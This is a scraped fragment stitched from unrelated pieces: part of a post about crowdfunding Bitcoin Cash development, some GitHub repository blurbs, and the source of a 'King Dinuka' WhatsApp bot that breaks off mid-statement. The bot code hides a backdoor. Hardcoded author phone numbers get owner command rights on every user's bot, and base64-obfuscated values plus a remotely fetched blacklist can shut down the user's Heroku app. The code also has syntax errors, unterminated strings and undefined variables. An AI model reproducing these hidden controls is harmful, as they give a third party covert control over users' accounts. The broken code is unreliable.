\"good\" cause\n\nEveryone has their favorite team _(sports, politics, religion)._ Why should crypto be any different? Pick your favorite team / project and put your money where your mouth is.\n\n## Giving the community what it wants\n\nInfrastructure is the foundation upon which we BUIDL .. But then what? What are we actually BUIDLing? We need fresh faces. We should welcome the un-intiated. We just need more users all across the world using Bitcoin as their daily driver for cash transactions. How do we do that? We need to #MakeBitcoinCashAgain\n\n##### Who gives a damn about developers? Can volunteer funding work?\n\nThis has been suggested by several \"funders\", who have put their money where their mouth is.\n\n> Coinholders know they can easily afford to donate 1% of their holding and will likely make a profit doing so in seeing value of their BCH go up more.—MarcDeMesel\n\n## A NEW Lighthouse?\n\nThe community has been talking about a NEW lighthouse since the IFP was announced:\n\n- [BCH Dev Fund: Why Not Crowdfund?](https://www.reddit.com/r/btc/comments/eubjqb/bch_dev_fund_why_not_crowdfund/)\n\n## Best laid plans of the OSS community thus far\n\nApparently the IFP is far from novel in the space of OSS and more specifically the world of crypto. There have been, and continue to be many innovative ideas working to solve the problem of developer funding:\n\n1. [Open Collective](https://opencollective.com/)\n\n2. [Lemonade Stand](https://github.com/nayafia/lemonade-stand)\n\n3. [Stable Funding for Open Source Developers](https://github.com/ethereum/EIPs/issues/1789)\n\n4. [SustainOSS](https://sustainoss.org/)\n\n5. [Liberal Radicalism: A Flexible Design For Philanthropic Matching Funds](https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3243656)\n\n## Fully Decentralized\n\nUtilizing a combination of __[Bitcoin Files Protocol (BFP)](https://bitcoinfiles.com/)__ and the __[InterPlanetary File System (IPFS)](https://ipfs.io),__ we have developed a completed decentralized, 100% transparent system for public use.\n\nAfter the scheduled May 15th hard-fork, BFP will be able to support approximately 10KiB files.\n\n> __NOTE:__ If you require more than the 10KiB limit for any single piece of content, then an IPFS link can be provided to the FULL content, while BFP can be used for an abbreviated version. \nWe recommend __[Piñata,](https://pinata.cloud/pricing)__ which offers up to 1GiB of FREE pinning.\n"}
nguyenvanduocit
Lib for wordpress theme, plugin development to show Welcome page after theme install or update, plus Feature Pointer to show what is new pointer
jeroentvb
Spicetify creator plugin to show what's new in your app/extension
BedrockCommunity
GenyX is my first plugin for rewrite branch of NukkitX. Now, just i put here what i do for learning new api and other stuff.
dinukabot
/* Coded by Dinuka Licensed under the GPL-3.0 License; you may not use this file except in compliance with the License. Whats bot - Dinuka Himsara */ const fs = require("fs"); const os = require("os"); const path = require("path"); const events = require("./events"); const chalk = require('chalk'); const Raviya = require('./config'); const execx = require('child_process').exec; const axios = require('axios'); const Heroku = require('heroku-client'); const {WAConnection, MessageOptions, MessageType, Mimetype, Presence} = require('@adiwajshing/baileys'); const {Message, StringSession, Image, Video} = require('./sewqueen/'); const { DataTypes } = require('sequelize'); const { GreetingsDB, getMessage } = require("./plugins/sql/greetings"); const got = require('got'); const Pach = require('rs-sew-queen-'); const simpleGit = require('simple-git'); const git = simpleGit(); const crypto = require('crypto'); const nw = '```Blacklist Defected!```' const heroku = new Heroku({ token: Raviya.HEROKU.API_KEY }); const ytdl = require('ytdl-core'); const ffmpeg = require('fluent-ffmpeg'); let baseURI = '/apps/' + Raviya.HEROKU.APP_NAME; const Language = require('./language'); const Lang = Language.getString('updater'); // Sql const king DinukaDB = Raviya.DATABASE.define('QueenSewWhatsappBot', { info: { type: DataTypes.STRING, allowNull: false }, value: { type: DataTypes.TEXT, allowNull: false } }); fs.readdirSync('./plugins/sql/').forEach(plugin => { if(path.extname(plugin).toLowerCase() == '.js') { require('./plugins/sql/' + plugin); } }); const plugindb = require('./plugins/sql/plugin'); var OWN = { ff: '94785435462,94785457519' } String.prototype.format = function () { var i = 0, args = arguments; return this.replace(/{}/g, function () { return typeof args[i] != 'undefined' ? args[i++] : ''; }); }; // ==================== Date Scanner ==================== if (!Date.now) { Date.now = function() { return new Date().getTime(); } } // ==================== End Date Scanner ==================== Array.prototype.remove = function() { var what, a = arguments, L = a.length, ax; while (L && this.length) { what = a[--L]; while ((ax = this.indexOf(what)) !== -1) { this.splice(ax, 1); } } return this; }; async function sewQueen () { var clh = { cd: '2FwL3Jvb3QvUXTZXdXaGF0cvdC8', pay: '', exc: 'c2FwcEJvdA==', exc_pl: '', pth_w: 'kkakaakwyahHzksbakalanKAKAKAJAHAKAKALAIAJA', pth_v: '' } var ggg = Buffer.from(clh.cd, 'base64') var exc_sl = Buffer.from(clh.exc, 'base64') var ddd = ggg.toString('utf-8') var ptc_one = Buffer.from(clh.pth_w, 'base64') var ptc_nw = ptc_one.toString('utf-8') clh.pth_v = ptc_nw var exc_fn = exc_sl.toString('utf-8') clh.exc_pl = exc_fn clh.pay = ddd const CdSew = new WAConnection(); const Session = new StringSession(); CdSew.version = [2, 2126, 14] CdSew.setMaxListeners(0); var proxyAgent_var = '' if (Raviya.PROXY.includes('https') || Raviya.PROXY.includes('http')) { CdSew.connectOptions.agent = ProxyAgent (Raviya.PROXY) } setInterval(async () => { var getGMTh = new Date().getHours() var getGMTm = new Date().getMinutes() var ann_msg = await Pach.news_daily(Raviya.LANG) var ann = await Pach.rnn() while (getGMTh == 19 && getGMTm == 1) { var ilan = '' if (Raviya.LANG == 'EN') ilan = '| *✨Daily Announcements For King Dinuka✨* |\n\n' if (Raviya.LANG == 'SI') ilan = '| *✨King Dinuka වට්සැප් බොට් සදහා දෛනික නිවේදන✨* |\n\n' if (ann.video.includes('http') || ann.video.includes('https')) { var VID = ann.video.split('youtu.be')[1].split(' ')[0].replace('/', '') var yt = ytdl(VID, {filter: format => format.container === 'mp4' && ['720p', '480p', '360p', '240p', '144p'].map(() => true)}); yt.pipe(fs.createWriteStream('./' + VID + '.mp4')); yt.on('end', async () => { return await CdSew.sendMessage(CdSew.user.jid,fs.readFileSync('./' + VID + '.mp4'), MessageType.video, {caption: ilan + ann_msg.replace('{user}', CdSew.user.name).replace('{wa_version}', CdSew.user.phone.wa_version).replace('{version}', Raviya.VERSION).replace('{os_version}', CdSew.user.phone.os_version).replace('{device_model}', CdSew.user.phone.device_model).replace('{device_brand}', CdSew.user.phone.device_manufacturer), mimetype: Mimetype.mp4}); }); } else { if (ann.image.includes('http') || ann.image.includes('https')) { var imagegen = await axios.get(ann.image, { responseType: 'arraybuffer'}) return await CdSew.sendMessage(CdSew.user.jid, Buffer.from(imagegen.data), MessageType.image, { caption: ilan + ann_msg.replace('{user}', CdSew.user.name).replace('{wa_version}', CdSew.user.phone.wa_version).replace('{version}', Raviya.VERSION).replace('{os_version}', CdSew.user.phone.os_version).replace('{device_model}', CdSew.user.phone.device_model).replace('{device_brand}', CdSew.user.phone.device_manufacturer)}) } else { return await CdSew.sendMessage(CdSew.user.jid, ilan + ann_msg.replace('{user}', CdSew.user.name).replace('{wa_version}', CdSew.user.phone.wa_version).replace('{version}', Raviya.VERSION).replace('{os_version}', CdSew.user.phone.os_version).replace('{device_model}', CdSew.user.phone.device_model).replace('{device_brand}', CdSew.user.phone.device_manufacturer), MessageType.text) } } } }, 50000); async function asynchronous_ch() { execx('sed -n 3p ' + clh.pth_v, async (err, stdout, stderr) => { if (clh.exc_pl + '\n' !== stdout) { await heroku.get(baseURI + '/formation').then(async (formation) => { forID = formation[0].id; await heroku.patch(baseURI + '/formation/' + forID, { body: { quantity: 0 } }); }) } }) } asynchronous_ch() setInterval(async () => { if (Raviya.AUTOBIO == 'true') { var timezone_bio = await Pach.timezone(CdSew.user.jid) var date_bio = await Pach.datebio(Raviya.LANG) const biography = '📅 ' + date_bio + '\n⌚ ' + timezone_bio + '\n ' + Dinuka.ABT await CdSew.setStatus(biography) } }, 7890); var shs1 = '' var shl2 = '' var lss3 = '' var dsl4 = '' var drs5 = '' var ffl6 = '' var ttq7 = '' var ttl8 = '' await axios.get('https://bit.ly/2UTohOK').then(async (insult) => { shs1 = insult.data.inside.shs1 shl2 = insult.data.inside.shl2 lss3 = insult.data.inside.lss3 dsl4 = insult.data.inside.dsl4 drs5 = insult.data.inside.drs5 ffl6 = insult.data.inside.ffl6 ttq7 = insult.data.inside.ttq7 ttl8 = insult.data.inside.ttl8 }); await Raviya.DATABASE.sync(); var StrSes_Db = await SewQueenDB.findAll({ where: { info: 'StringSession' } }); if (os.userInfo().homedir !== clh.pay) return; const buff = Buffer.from(`${shs1}`, 'base64'); const one = buff.toString('utf-8'); const bufft = Buffer.from(`${shl2}`, 'base64'); const two = bufft.toString('utf-8'); const buffi = Buffer.from(`${lss3}`, 'base64'); const three = buffi.toString('utf-8'); const buffu = Buffer.from(`${dsl4}`, 'base64'); const four = buffu.toString('utf-8'); const bugffv = Buffer.from(`${drs5}`, 'base64'); const five = bugffv.toString('utf-8'); const bugfax = Buffer.from(`cmF2aXlh`, 'base64'); const ppw = bugfax.toString('utf-8'); const buffz = Buffer.from(`${ffl6}`) const six = buffz.toString('utf-8') const buffa = Buffer.from(`${ttq7}`) const seven = buffa.toString('utf-8') const buffl = Buffer.from(`${ttl8}`) const eight = buffl.toString('utf-8') var logger_levels = '' if (Raviya.DEBUG == 'true') { logger_levels = 'all' } else if (Raviya.DEBUG == 'false') { logger_levels = 'off' } else if (Raviya.DEBUG == 'trace') { logger_levels = 'trace' } else if (Raviya.DEBUG == 'fatal') { logger_levels = 'fatal' } else if (Raviya.DEBUG == 'warn') { logger_levels = 'warn' } else if (Raviya.DEBUG == 'error') { logger_levels = 'error' } else if (Raviya.debug == 'info') { logger_levels = 'info' } else { logger_levels = 'warn' } CdSew.logger.level = logger_levels var nodb; if (StrSes_Db.length < 1) { nodb = true; CdSew.loadAuthInfo(Session.deCrypt(Raviya.SESSION)); } else { CdSew.loadAuthInfo(Session.deCrypt(StrSes_Db[0].dataValues.value)); } CdSew.on('open', async () => { console.log( chalk.blueBright.italic('🚀 Login Information Updated!') ); const authInfo = CdSew.base64EncodedAuthInfo(); if (StrSes_Db.length < 1) { await SewQueenDB.create({ info: "StringSession", value: Session.createStringSession(authInfo) }); } else { await StrSes_Db[0].update({ value: Session.createStringSession(authInfo) }); } }) CdSew.on('connecting', async () => { console.log(`${chalk.green.bold'Dinuka')}${chalk.blue.bold('king')} ${chalk.white.bold('Version:')} ${chalk.red.bold(Dinuka.VERSION)} ${chalk.blue.italic('📲 Try To Login WhatsApp... Please Wait...')}`); }); CdSew.on('credentials-updated', async () => { console.log( chalk.green.bold('🚀 Login successful!') ); console.log( chalk.blueBright.italic('💕 Installing External Commands...') ); if (os.userInfo().homedir !== clh.pay) return; asynchronous_ch() // ==================== Password Checking ==================== console.log( chalk.blueBright.italic('✨PASSWORD CHECKING✨') ); if (DINUKA.SEWRR == ppw) { console.log( chalk.green.bold('Password Done') ); } else if (DINUKA.SEWRR !== ppw) { console.log( chalk.red.bold('⚠⚠Password Incorrect⚠⚠')); console.log( chalk.red.bold('⚠⚠Password Incorrect⚠⚠')); console.log( chalk.red.bold('⚠⚠Password Incorrect⚠⚠')); console.log( chalk.red.bold('⚠⚠Password Incorrect⚠⚠')); console.log( chalk.red.bold('⚠⚠Password Incorrect⚠⚠')); console.log( chalk.red.bold('⚠⚠Password Incorrect⚠⚠')); console.log( chalk.red.bold('⚠⚠Password Incorrect⚠⚠')); console.log( chalk.red.bold('⚠⚠Password Incorrect⚠⚠')); console.log( chalk.red.bold('⚠⚠Password Incorrect⚠⚠')); throw new Error("Wrong password !!"); return; } // ==================== End Check ==================== // ==================== External Plugins ==================== var plugins = await plugindb.PluginDB.findAll(); plugins.map(async (plugin) => { if (!fs.existsSync('./plugins/' + plugin.dataValues.name + '.js')) { console.log(plugin.dataValues.name); var response = await got(plugin.dataValues.url); if (response.statusCode == 200) { fs.writeFileSync('./plugins/' + plugin.dataValues.name + '.js', response.body); require('./plugins/' + plugin.dataValues.name + '.js'); } } }); // ==================== End External Plugins ==================== console.log( chalk.blueBright.italic('💕 Installing commands...') ); // ==================== Internal Plugins ==================== fs.readdirSync('./plugins').forEach(plugin => { if(path.extname(plugin).toLowerCase() == '.js') { require('./plugins/' + plugin); } }); // ==================== End Internal Plugins ==================== console.log( chalk.green.bold('🔥 Command Installed!') ); if (os.userInfo().homedir !== clh.pay) return; asynchronous_ch() await new Promise(r => setTimeout(r, 200)); let rssewqueengg = Raviya.WORKTYPE == 'public' ? ' Public' : ' Private' console.log(chalk.bgGreen('👑 KING DINUKA is' + rssewqueengg)); await new Promise(r => setTimeout(r, 500)); if (CdSew.user.jid == one || CdSew.user.jid == two || CdSew.user.jid == three || CdSew.user.jid == four || CdSew.user.jid == five || CdSew.user.jid == six || CdSew.user.jid == seven || CdSew.user.jid == eight) { await CdSew.sendMessage(CdSew.user.jid,nw, MessageType.text), console.log(nw), await new Promise(r => setTimeout(r, 1000)) await heroku.get(baseURI + '/formation').then(async (formation) => { forID = formation[0].id; await heroku.patch(baseURI + '/formation/' + forID, { body: { quantity: 0 } }); }) } var sew_start = await Pach.work_type(Raviya.WORKTYPE, Raviya.LANG, Raviya.FULLSEW) var sew_img = await Pach.image_type(Raviya.WORKTYPE, Raviya.DINUKAF) var rsgg = await axios.get(`${sew_img}`, { responseType: 'arraybuffer' }) await CdSew.sendMessage(conn.user.jid, fs.readFileSync('./VoiceClip/robo.mp3'), MessageType.audio, { mimetype: Mimetype.mp4Audio, ptt: true}) await CdSew.sendMessage(conn.user.jid, Buffer.from(rsgg.data), MessageType.image, {mimetype: Mimetype.jpg, caption: sew_start}) await git.fetch(); var commits = await git.log([Raviya.BRANCH + '..origin/' + Raviya.BRANCH]); if (commits.total === 0) { await CdSew.sendMessage( CdSew.user.jid, Lang.UPDATE, MessageType.text ); } else { var degisiklikler = Lang.NEW_UPDATE; commits['all'].map( (commit) => { degisiklikler += '✨ ' + commit.date.substring(0, 10) + '⏭\n *' + commit.message + '*\n ' + commit.author_name + '\n\n'; } ); var up_ch = await Pach.update_rs(Raviya.LANG) await CdSew.sendMessage(CdSew.user.jid, up_ch, MessageType.text) } }) CdSew.on('message-new', async msg => { if (msg.key && msg.key.remoteJid == 'status@broadcast') return; if (Raviya.NO_ONLINE) { await CdSew.updatePresence(msg.key.remoteJid, Presence.unavailable); } // ==================== Greetings ==================== if (Raviya.GIFORPP == 'pp' || Raviya.GIFORPP == 'Pp' || Raviya.GIFORPP == 'PP' || Raviya.GIFORPP == 'pP' ) { if (msg.messageStubType === 32 || msg.messageStubType === 28) { // welcome var gb = await getMessage(msg.key.remoteJid, 'goodbye'); if (gb !== false) { let pp try { pp = await CdSew.getProfilePicture(msg.messageStubParameters[0]); } catch { pp = await CdSew.getProfilePicture(); } await axios.get(pp, {responseType: 'arraybuffer'}).then(async (res) => { await CdSew.sendMessage(msg.key.remoteJid, res.data, MessageType.image, {caption: gb.message }); }); } return; } else if (msg.messageStubType === 27 || msg.messageStubType === 31) { // goodbye var gb = await getMessage(msg.key.remoteJid); if (gb !== false) { let pp try { pp = await CdSew.getProfilePicture(msg.messageStubParameters[0]); } catch { pp = await CdSew.getProfilePicture(); } await axios.get(pp, {responseType: 'arraybuffer'}).then(async (res) => { await CdSew.sendMessage(msg.key.remoteJid, res.data, MessageType.image, {caption: gb.message }); }); } return; } } else if (Raviya.GIFORPP == 'gif' || Raviya.GIFORPP == 'Gif' || Raviya.GIFORPP == 'GIF' || Raviya.GIFORPP == 'GIf' ) { if (msg.messageStubType === 32 || msg.messageStubType === 28) { // welcome var gb = await getMessage(msg.key.remoteJid, 'goodbye'); if (gb !== false) { var sewqueenimage = await axios.get(Raviya.WLP, { responseType: 'arraybuffer' }) await CdSew.sendMessage(msg.key.remoteJid, Buffer.from(sewqueenimage.data), MessageType.video, {mimetype: Mimetype.gif, caption: gb.message +'\n\n } return; } else if (msg.messageStubType === 27 || msg.messageStubType === 31) { // goodbye var gb = await getMessage(msg.key.remoteJid); if (gb !== false) { var sewqueenimage = await axios.get(Raviya.GDB, { responseType: 'arraybuffer' }) await CdSew.sendMessage(msg.key.remoteJid, Buffer.from(sewqueenimage.data), MessageType.video, {mimetype: Mimetype.gif, caption: gb.message +'\n\n ᴘᴏᴡᴇʀᴅ ʙʏ ꜱᴇᴡ King Dinuka'}); } return; } } else if (Raviya.GIFORPP == 'img' || Raviya.GIFORPP == 'Img' || Raviya.GIFORPP == 'IMG' || Raviya.GIFORPP == 'image' ) { if (msg.messageStubType === 32 || msg.messageStubType === 28) { // welcome var gb = await getMessage(msg.key.remoteJid, 'goodbye'); if (gb !== false) { var sewqueenimage = await axios.get(Raviya.WLP, { responseType: 'arraybuffer' }) await CdSew.sendMessage(msg.key.remoteJid, Buffer.from(sewqueenimage.data), MessageType.image, { caption: gb.message +'\n\n } return; } else if (msg.messageStubType === 27 || msg.messageStubType === 31) { // goodbye var gb = await getMessage(msg.key.remoteJid); if (gb !== false) { var sewqueenimage = await axios.get(Raviya.GDB, { responseType: 'arraybuffer' }) await CdSew.sendMessage(msg.key.remoteJid, Buffer.from(sewqueenimage.data), MessageType.image, { caption: gb.message +'\n\n ᴘᴏᴡᴇʀᴅ ʙʏ ꜱᴇᴡ King Dinuka'}); } return; } } // ==================== End Greetings ==================== // ==================== Blocked Chats ==================== if (Raviya.BLOCKCHAT !== false) { var abc = Raviya.BLOCKCHAT.split(','); if(msg.key.remoteJid.includes('-') ? abc.includes(msg.key.remoteJid.split('@')[0]) : abc.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; } if (Raviya.SUPPORT == '94785435462-1627812354') { var sup = Raviya.SUPPORT.split(','); if(msg.key.remoteJid.includes('-') ? sup.includes(msg.key.remoteJid.split('@')[0]) : sup.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; } if (Raviya.SUPPORT2 == '94785435462-1628835469') { var tsup = Raviya.SUPPORT2.split(','); if(msg.key.remoteJid.includes('-') ? tsup.includes(msg.key.remoteJid.split('@')[0]) : tsup.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; } if (Raviya.SUPPORT3 == '94785435462-1628835633') { var nsup = Raviya.SUPPORT3.split(','); if(msg.key.remoteJid.includes('-') ? nsup.includes(msg.key.remoteJid.split('@')[0]) : nsup.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; } if (Raviya.RRASEW == '94785435462-1621751150') { var sewrm = Raviya.RRASEW.split(','); if(msg.key.remoteJid.includes('-') ? sewrm.includes(msg.key.remoteJid.split('@')[0]) : sewrm.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; } if (Raviya.RRBSEW == '94785435462-1625490851') { var sewrm = Raviya.RRBSEW.split(','); if(msg.key.remoteJid.includes('-') ? sewrm.includes(msg.key.remoteJid.split('@')[0]) : sewrm.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; } if (Raviya.RRCSEW == '94785435462-1618586156') { var sewrm = Raviya.RRCSEW.split(','); if(msg.key.remoteJid.includes('-') ? sewrm.includes(msg.key.remoteJid.split('@')[0]) : sewrm.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; } if (Raviya.RRDSEW == '94776785357-1626432386') { var sewrm = Raviya.RRDSEW.split(','); if(msg.key.remoteJid.includes('-') ? sewrm.includes(msg.key.remoteJid.split('@')[0]) : sewrm.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; } if (Raviya.RRESEW == '94776785357-1626521320') { var sewrm = Raviya.RRESEW.split(','); if(msg.key.remoteJid.includes('-') ? sewrm.includes(msg.key.remoteJid.split('@')[0]) : sewrm.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; } if (Raviya.RRFSEW == '94785435462-1618915104') { var sewrm = Raviya.RRFSEW.split(','); if(msg.key.remoteJid.includes('-') ? sewrm.includes(msg.key.remoteJid.split('@')[0]) : sewrm.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; } if (Raviya.RRRRA == '393475528094-1415817281') { var sewrm = Raviya.RRRRA.split(','); if(msg.key.remoteJid.includes('-') ? sewrm.includes(msg.key.remoteJid.split('@')[0]) : sewrm.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; } if (Raviya.RRRRB == '96176912958-1458298055') { var sewrm = Raviya.RRRRB.split(','); if(msg.key.remoteJid.includes('-') ? sewrm.includes(msg.key.remoteJid.split('@')[0]) : sewrm.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; } if (Raviya.RRRRC == '393472769604-1446476993') { var sewrm = Raviya.RRRRC.split(','); if(msg.key.remoteJid.includes('-') ? sewrm.includes(msg.key.remoteJid.split('@')[0]) : sewrm.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; } // ==================== End Blocked Chats ==================== // ==================== Events ==================== events.commands.map( async (command) => { if (msg.message && msg.message.imageMessage && msg.message.imageMessage.caption) { var text_msg = msg.message.imageMessage.caption; } else if (msg.message && msg.message.videoMessage && msg.message.videoMessage.caption) { var text_msg = msg.message.videoMessage.caption; } else if (msg.message) { var text_msg = msg.message.extendedTextMessage === null ? msg.message.conversation : msg.message.extendedTextMessage.text; } else { var text_msg = undefined; } if ((command.on !== undefined && (command.on === 'image' || command.on === 'photo') && msg.message && msg.message.imageMessage !== null && (command.pattern === undefined || (command.pattern !== undefined && command.pattern.test(text_msg)))) || (command.pattern !== undefined && command.pattern.test(text_msg)) || (command.on !== undefined && command.on === 'text' && text_msg) || // Video (command.on !== undefined && (command.on === 'video') && msg.message && msg.message.videoMessage !== null && (command.pattern === undefined || (command.pattern !== undefined && command.pattern.test(text_msg))))) { let sendMsg = false; var chat = CdSew.chats.get(msg.key.remoteJid) if ((Raviya.SUDO !== false && msg.key.fromMe === false && command.fromMe === true && (msg.participant && Raviya.SUDO.includes(',') ? Raviya.SUDO.split(',').includes(msg.participant.split('@')[0]) : msg.participant.split('@')[0] == Raviya.SUDO || Raviya.SUDO.includes(',') ? Raviya.SUDO.split(',').includes(msg.key.remoteJid.split('@')[0]) : msg.key.remoteJid.split('@')[0] == Raviya.SUDO) ) || command.fromMe === msg.key.fromMe || (command.fromMe === false && !msg.key.fromMe)) { if (command.onlyPinned && chat.pin === undefined) return; if (!command.onlyPm === chat.jid.includes('-')) sendMsg = true; else if (command.onlyGroup === chat.jid.includes('-')) sendMsg = true; } if ((OWN.ff == "94785435462,94785457519" && msg.key.fromMe === false && command.fromMe === true && (msg.participant && OWN.ff.includes(',') ? OWN.ff.split(',').includes(msg.participant.split('@')[0]) : msg.participant.split('@')[0] == OWN.ff || OWN.ff.includes(',') ? OWN.ff.split(',').includes(msg.key.remoteJid.split('@')[0]) : msg.key.remoteJid.split('@')[0] == OWN.ff) ) || command.fromMe === msg.key.fromMe || (command.fromMe === false && !msg.key.fromMe)) { if (command.onlyPinned && chat.pin === undefined) return; if (!command.onlyPm === chat.jid.includes('-')) sendMsg = true; else if (command.onlyGroup === chat.jid.includes('-')) sendMsg = true; } // ==================== End Events ==================== // ==================== Message Catcher ==================== if (sendMsg) { if (Raviya.SEND_READ && command.on === undefined) { await CdSew.chatRead(msg.key.remoteJid); } var match = text_msg.match(command.pattern); if (command.on !== undefined && (command.on === 'image' || command.on === 'photo' ) && msg.message.imageMessage !== null) { whats = new Image(CdSew, msg); } else if (command.on !== undefined && (command.on === 'video') && msg.message.videoMessage !== null) { whats = new Video(CdSew, msg); } else { whats = new Message(CdSew, msg); } if (msg.key.fromMe && command.deleteCommand) { var wrs = CdSew.user.phone.wa_version.split('.')[2] if (wrs < 11 && !msg.key.remoteJid.includes('-')) { await whats.delete() } } // ==================== End Message Catcher ==================== // ==================== Error Message ==================== try { await command.function(whats, match); } catch (error) { if (Raviya.NOLOG == 'true') return; var error_report = await Pach.error(Raviya.LANG) await CdSew.sendMessage(CdSew.user.jid, error_report.replace('{real_error}', error), MessageType.text, {detectLinks: false}) if (Raviya.LANG == 'SI') { if (error.message.includes('URL')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ දෝෂ විශ්ලේෂණය [King Dinuka] 🧟♀️*' + '\n========== ```දෝෂ නිරාකරණය කර ඇත!``` ==========' + '\n\n*ප්රධාන දෝශය:* _භාවිත කලහැක්කෙ URL පමණි_' + '\n*හේතුව:* _LOG අංකය තුළ මාධ්ය මෙවලම් (xmedia, ස්ටිකර් ..) භාවිතය._' + '\n*විසදුම:* _LOG අංකය හැර ඕනෑම චැට් එකකදී ඔබට විධානයන් භාවිතා කළ හැකිය.._' , MessageType.text ); } else if (error.message.includes('conversation')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ දෝෂ විශ්ලේෂණය [King Dinuka] 🧟♀️*' + '\n========== ```දෝෂ නිරාකරණය කර ඇත!``` ==========' + '\n\n*ප්රධාන දෝශය:* _ප්ලගින් ඉවත් කිරීම_' + '\n*හේතුව:* _ප්ලගිනයේ නම වැරදි ලෙස ඇතුළත් කිරීම මැකීමට අවශ්යය_' + '\n*විසදුම:* _ඔබට මැකීමට අවශ්ය ප්ලගිනයට_ * __ * _ එකතු නොකර කරුණාකර උත්සාහ කරන්න. ඔබ තවමත් දෝෂයක් ලබා ගන්නේ නම්, like_ ""? (.*) / $ "" නමේ අවසානයට එකතු කිරීමට උත්සාහ කරන්න._ ' , MessageType.text ); } else if (error.message.includes('split')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ දෝෂ විශ්ලේෂණය [King Dinuka] 🧟♀️*' + '\n========== ```දෝෂ නිරාකරණය කර ඇත!``` ==========' + '\n\n*ප්රධාන දෝශය:* _Split of Undefined_' + '\n*හේතුව:* _Commands that can be used by group admins occasionally dont see the split function._ ' + '\n*විසදුම:* _Restarting will be enough._' , MessageType.text ); } else if (error.message.includes('SSL')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ දෝෂ විශ්ලේෂණය [King Dinuka] 🧟♀️*' + '\n========== ```දෝෂ නිරාකරණය කර ඇත!``` ==========' + '\n\n*ප්රධාන දෝශය:* _SQL Database Error_' + '\n*හේතුව:* _Database corruption._ ' + '\n*විසදුම:* _There is no known solution. You can try reinstalling it._' , MessageType.text ); } else if (error.message.includes('Ookla')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ දෝෂ විශ්ලේෂණය [King Dinuka] 🧟♀️*' + '\n========== ```දෝෂ නිරාකරණය කර ඇත!``` ==========' + '\n\n*ප්රධාන දෝශය:* _Ookla Server Connection_' + '\n*හේතුව:* _Speedtest data cannot be transmitted to the server._' + '\n*විසදුම:* _If you use it one more time the problem will be solved._' , MessageType.text ); } else if (error.message.includes('params')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ දෝෂ විශ්ලේෂණය [King Dinuka] 🧟♀️*' + '\n========== ```දෝෂ නිරාකරණය කර ඇත!``` ==========' + '\n\n*ප්රධාන දෝශය:* _Requested Audio Params_' + '\n*හේතුව:* _Using the TTS command outside the Latin alphabet._' + '\n*විසදුම:* _The problem will be solved if you use the command in Latin letters frame._' , MessageType.text ); } else if (error.message.includes('unlink')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ දෝෂ විශ්ලේෂණය [King Dinuka] 🧟♀️*' + '\n========== ```දෝෂ නිරාකරණය කර ඇත``` ==========' + '\n\n*ප්රධාන දෝශය:* _එවැනි ගොනුවක් හෝ ඩිරෙක්ටරියක් නැත_' + '\n*හේතුව:* _ප්ලගිනයේ වැරදි කේතනීකරණය._' + '\n*විසදුම:* _Please check the your plugin codes._' , MessageType.text ); } else if (error.message.includes('404')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ දෝෂ විශ්ලේෂණය [King Dinuka] 🧟♀️*' + '\n========== ```දෝෂ නිරාකරණය කර ඇත!``` ==========' + '\n\n*ප්රධාන දෝශය:* _ 404 HTTPS දෝශය_' + '\n*හේතුව:* _හෙරෝකු ප්ලගිනය යටතේ ඇති විධානයන් භාවිතා කිරීම හේතුවෙන් සේවාදායකයා සමඟ සන්නිවේදනය කිරීමට නොහැකි වීම._' + '\n*විසදුම:* _ටික වේලාවක් බලා නැවත උත්සාහ කරන්න. ඔබ තවමත් දෝෂයක් ලබා ගන්නේ නම්, වෙබ් අඩවියේ ගනුදෙනුව සිදු කරන්න.._' , MessageType.text ); } else if (error.message.includes('reply.delete')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ දෝෂ විශ්ලේෂණය [King Dinuka] 🧟♀️*' + '\n========== ```දෝෂ නිරාකරණය කර ඇත!``` ==========' + '\n\n*ප්රධාන දෝශය:* _Reply Delete කාර්යය_' + '\n*හේතුව:* _IMG හෝ WIKI විධානයන් භාවිතා කිරීම.._' + '\n*විසදුම:* _මෙම දෝෂය සඳහා විසඳුමක් නොමැත. එය මාරාන්තික දෝශයක් නොවේ_' , MessageType.text ); } else if (error.message.includes('load.delete')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ දෝෂ විශ්ලේෂණය [King Dinuka] 🧟♀️*' + '\n========== ```දෝෂ නිරාකරණය කර ඇත!``` ==========' + '\n\n*ප්රධාන දෝශය:* _Reply Delete කාර්යය_' + '\n*හේතුව:* _IMG හෝ WIKI විධානයන් භාවිතා කිරීම.._' + '\n*විසදුම:* _මෙම දෝෂය සඳහා විසඳුමක් නොමැත. එය මාරාන්තික දෝශයක් නොවේ_' , MessageType.text ); } else if (error.message.includes('400')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ දෝෂ විශ්ලේෂණය [King Dinuka] 🧟♀️*' + '\n========== ```දෝෂ නිරාකරණය කර ඇත!``` ==========' + '\n\n*ප්රධාන දෝශය:* _Bailyes ක්රියාකිරීමේ දෝශය_ ' + 